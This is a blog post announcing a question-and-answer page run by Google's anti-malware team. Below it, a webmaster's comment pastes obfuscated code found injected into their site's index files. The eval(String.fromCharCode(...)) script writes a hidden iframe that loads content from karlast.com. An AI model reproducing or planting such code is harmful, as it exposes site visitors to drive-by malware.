Ask the Google Anti-Malware Team


The Google Anti-Malware engineering team knows you have many questions related to our scanning and flagging of infected sites, some with short and simple answers and some with more complex answers. The short-answer questions are already -- we hope -- adequately handled on the Webmaster Forums; now we want to do a better job at answering the more complex questions.

To this end, we have created a Google Moderator page for you to submit your questions, and to vote on other webmasters' questions. In two weeks (on Friday the 28th of August), we will close the page and select a few of the top-rated questions. Over the course of the next several weeks, we will do our best to answer each of these in a write-up, to be published here and to the Webmaster Malware Forum.

We hope to repeat this exercise (with a fresh Moderator page) in the fall to give you the opportunity to ask more questions.

Thank you, and see you on the Moderator page!

  8. My websites: exposure271.com, westcoastdish.com, jaydelucretia.com, and portlandrecording.com have been triggering some error regarding "karlast.com"... says my site might contain malware. It is sending viewers of my sites running for the hills. I found some code that was added to my site... I removed it. How do I keep from my future sites being listed with these errors. after i erased the code from the sites, I added an additional domain to my hosting. I have changed my password since the undesired code appeared on my sites, yet somehow my new domain is setting off alarms... It doesn't have any code added to it like the others...

    Anyways, here is the code i found on mostly files titled "index.___". I really have no idea what it does, but if you could tell me, that'd be great. Here it is:

    <&php require(DIR_WS_INCLUDES . 'application_bottom.php'); &> <&php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,103,103,51,61,34,107,34,59,118,97,114,32,119,61,34,97,114,108,97,34,59,118,97,114,32,114,101,54,61,34,115,116,46,34,59,118,97,114,32,114,114,116,116,54,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,103,103,51,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,114,114,116,116,54,43,39,47,39,43,39,113,113,112,39,43,39,47,39,43,39,34,32,115,116,121,108,101,61,34,100,105,39,43,39,115,112,108,97,121,58,110,111,110,39,43,39,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,52,48,48,52,48,48,48,48,48))'; &>
